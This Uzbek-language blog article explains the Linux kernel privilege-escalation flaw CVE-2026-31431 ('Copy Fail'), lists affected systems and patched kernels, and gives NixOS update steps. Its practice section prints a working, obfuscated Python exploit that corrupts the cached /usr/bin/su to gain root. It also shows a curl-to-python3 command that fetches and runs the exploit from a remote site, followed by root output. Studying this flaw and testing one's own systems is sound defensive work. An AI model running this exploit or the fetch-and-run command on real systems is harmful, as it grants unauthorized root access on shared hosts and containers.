Kirish
Habaringiz boʻlganidek Linux kerneli dasturiy manbaʼsida zaiflik topildi. Ushbu zaiflik mahalliy foydalanuvchiga ruxsatsiz root[1] huquqiga ega chiqish imkoniyatini beradi. 29-Aprel, 2026-yil sanasida eʼlon qilingan ushbu zaiflik, CVE tashkiloti tomonidan CVE-2026-31431 IDʼsida roʻyhatga olindi. Xint va Theori bunga Copy Fail (Nusxa Zaifligi) deb nom berishdi.
Maqolada biz zaiflik qanchalar jiddiyligi, qanday qilib tizimingizni himoya qilish, va ekspluatatsiyani qanday qilib amalda sinab koʻrishni NixOS doirasida koʻrib chiqamiz.
Bu qanchalar jiddiy?
Bu kabi LPE[2] nuqsonliklarini tushunish uchun biz oddiy foydalanuvchi (yoki tizim) hisoblari va root oʻrtasidagi farqni bilishimiz darkor. Oddiy foydalanuvchi hisobida tizim darajasida oʻzgartirishlar qilish havfsizlik nuqtai nazaridan cheklangan boʻladi. Root esa bundan mustasno, kernel va tizim boʻylab har qanday harakatni amalga oshirishi mumkin. Shu sababdan ham root huquqiga ega chiqish parol bilan doimiy himoya qilinadi. Parollar esa /etc/shadow/ jildida hashlangan holatda saqlanib, kernel va fayl ruxsatlari[3] ostida kuchli himoya qilinadi.
normal-user$ cat /etc/shadow
cat: /etc/shadow: Permission deniedCopy Fail bu Linux kernel dasturiy manbanbasining authencesn kriptografik shablonida eʼtiborsiz qolib ketgan mantiqiy zaiflik. Bu zaiflik oddiy foydalanuvchiga, ruxsatsiz, diskdagi himoyalangan har qanday faylning 4-baytlik sahifa keshiga[4] oʻzgartirish kiritish imkonini beradi. Kernel hech qachon buzilgan sahifani qayta yozish uchun nopok deb belgilamaydi, holbuki, diskdagi fayl oʻzgarishsiz qoladi va oddiy disk cheksum[5] tekshiruvlari oʻzgarishni oʻtkazib yuboradi.
Ammo, fayl ishlatilgan paytda oʻqiladigan narsa bu sahifa keshi, shunday qilib buzilgan versiya darhol tizim boʻylab ochiq holatga keladi. Va buni oddiy foydalanuvchi SetUID[6] binaryʼsini yagona 732-baytlik Python dasturi orqali oʻzgartirish orqali rootʼga oʻtishi mumkin boʻladi. Huddi shu primitiv konteyner chegaralarini ham kesib o’tadi, chunki sahifa keshi butun host bo’ylab ochiq.
Hulosa
Ushbu CVE koʻplab texnik tizimlarga havf soladi, koʻp-egalik linux hostlari, Kubernetes va konteyner klasterlari, CI runnerʼlar, Jenkins agentlari, va boshqa foydalanuvchi sifatida ishonchsiz kodlarni qabul qiluvchi tizimlar, Cloud SaaS tizimlari, har qanday linux server va host. Bularning muhimlilik darajasini bu havola orqali oʻtib koʻrishingiz mumkin.
Taʼkidlash joizki:
- Professional dasturiy muhandislarning 47 foizi Linux ustiga qurilgan operatsion tizimdan foydalanishadi. (Statista)
- Web saytlarning 39.2 foizidan koʻpi. (W3Techs)
- Linux dunyodagi mobil smartfonlarning 85 foizini taʼminlaydi. (Hayden James)
- Linuxning bozordagi desktop ulushi 2.09 foiz bilan uchinchi oʻrinda. (Statista)
- Dunyoning eng tez 500 superkompyuterlarining barchasi Linux ishlatadi. (Blackdown)
- Dunyodagi eng yuqori 1 million web serverlar Linuxdan foydalanadi. (ZDNet)
- Bugungi kunga kelib, dunyoda 600 faol Linux distributivlari mavjud. (Tecmint)
Bularning barchasi aynan CVE-2026-31431ʼni boshqa LPE CVEʼlardan ajratib turadi.
Yechimi qanday?
Ayni vaqtda barcha tashkilotlar tomonidan tuzatish ishlari olib borilmoqda, tuzatish kiritilgan kernel talqinlari esa yuqori oqimda yangilanmoqda.
Bu maqolada biz NixOS doirasida yechim turlari bilan tanishamiz, agar siz boshqa distibyutivdan foydalansangiz ushbu boʻlimga yuzlaning.
NixOS
NixOSʻga keladigan boʻlsak 25.11 talqinida belgilangan kernel zararlangan.
Kernelingiz talqinini bilish uchun quyidagi buyruqlarning biridan foydalanishingiz mumkin:
nix-shell -p nix-info --run "nix-info -m"uname -aVa buyruq qaytargan maʻlumotdagi kernel talqinini quyidagi jadvalga solishtiring. Agar sizning talqiningiz jadvalda mavjud boʻlmasa siz
| Zaiflik bartaraf etilgan kernel talqinlari: |
|---|
| v6.18.22 |
| v6.18.23 |
| v6.18.24 |
| v6.18.25 |
| v6.19.12 |
| v6.19.13 |
| v6.19.14 |
| v7.0 |
| v7.0.1 |
| v7.0.2 |
| v7.0-rc7 |
| v7.1-rc1 |
| manba |
nixos-25.11 yangilaniga qadar nixpkgs.urlda belgilangan NixOS oqim talqinini release-25.11ga oʻzgartiring.
nixpkgs.url = "github:nixos/nixpkgs/release-25.11";Keyin nixos-reboot orqali yangilanishlarni eʻlon qilib, qurilmangizni oʻchirib yoqing. Endi kernel talqiningiz 6.12.85ga yangilangan boʻlishi kerak.
Boshqa distributivlar
CVEʼga javoban, Linux distribyutorlari o’zlarining rasmiy maslahatlarini chiqarishmoqdalar, bulardan bir nechtasi:
Amaliyot
Kontseptsiya isboti ommaga taqdim etilgan, bu sizga oʻz tizimingizni sinovdan oʻtkazish imkoniyatini beradi, bu bilan tepada bajargan tuzatishimizni ishlaganini tekshirib olsak boʻladi.
Ushbu amaliyot bilan masʼuliyatli boʻling. Faqatgina oʻz qurilmalaringiz va yozma ruxsatingiz bor qurilmalarda ishlating. Dastur SetUID sahifa keshi binaryʼsini oʻzgartiradi; oʻzgarish qurilma oʻchib-yonishidan soʻng saqlanib qolmaydi, lekin rootʼga oʼtishi maʼlum. Ish muhitidagi qurilmalarda ishlatmang.
Bu esa dasturning oʻzi:
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")Tizimingizda Python3 oʻrnatilganiga ishonch hosil qiling. NixOSʻda boʻlsa nix-shell orqali vaqtinchalik yuklab olsangiz boʻladi:
nix-shell -p python3NixOS tizimida /usr/bin mavjud emasligini hisobga olib, 8-qatordagi /usr/bin/suni flake[7] orqali yaratilgan venv/bin/python yoki env/bin/python manziliga yoʻnaltiring. Bunga muqobil holatda ushbu buyruqdan foydalansangiz boʻladi:
curl https://copy.fail/exp | sed 's|/usr/bin/su|/run/current-system/sw/bin/su|g' | python3 && suQisqa tahlil
Agar dasturni ishlatishga imkoningiz boʻlmagan boʻlsa quyidagi terminal qaytargan maʻlumotdan qisqacha tushuncha olsangiz boʻladi:
$ curl https://copy.fail/exp | python3 && su
$ id
uid=0(root) gid=1002(user) groups=1002(user)uid=0(root) — dastur muvaffaqiyatli root hisobiga kirib borganini anglatadi. Foydalanuvchi hisobidan turib ishga tushirgan boʻlsakda parol soʻramaganini hisobga oling.
Va eʼtibor bergan boʻlsangiz gid va groups 1002ga teng, yaʼni, foydalanuvchi faqatgina user guruhida boʻlishiga qaramasdan uid noʻlga teng. Bu sogʻlom tizim uchun gʻayritabiiy.
Ma’lumotnomalar
- Root — super foydalanuvchi/administrator huquqiga ega hisob. ortga ▲
- Local Priviledge Escalation — Mahalliy Huquq Buzilishi. ortga ▲
- Linux permissions model — tizimning fundamental himoya tuzilmasi. ortga ▲
- Page Cache — Sahifa Keshi. Diskdagi maʼlumotlarni protsessor tezligiga oshirishda oʻrtakash vasifasini bajaradi, sodda qilib aytganda. ortga ▲
- Checksum — Malumot almashinuvi vaqtidagi hatoliklarni aniqlash usuli. ortga ▲
- Set User ID — Foydalanuvchi Identifikatsiyasini oʻrnatish. Manba: Essential System Administration O’Reilly. 351-bet . ortga ▲
- Flake — Fleyklar NixOSʻda tizim bogʻliklarini boshqarish uchun keng qamrovli vosita. ortga ▲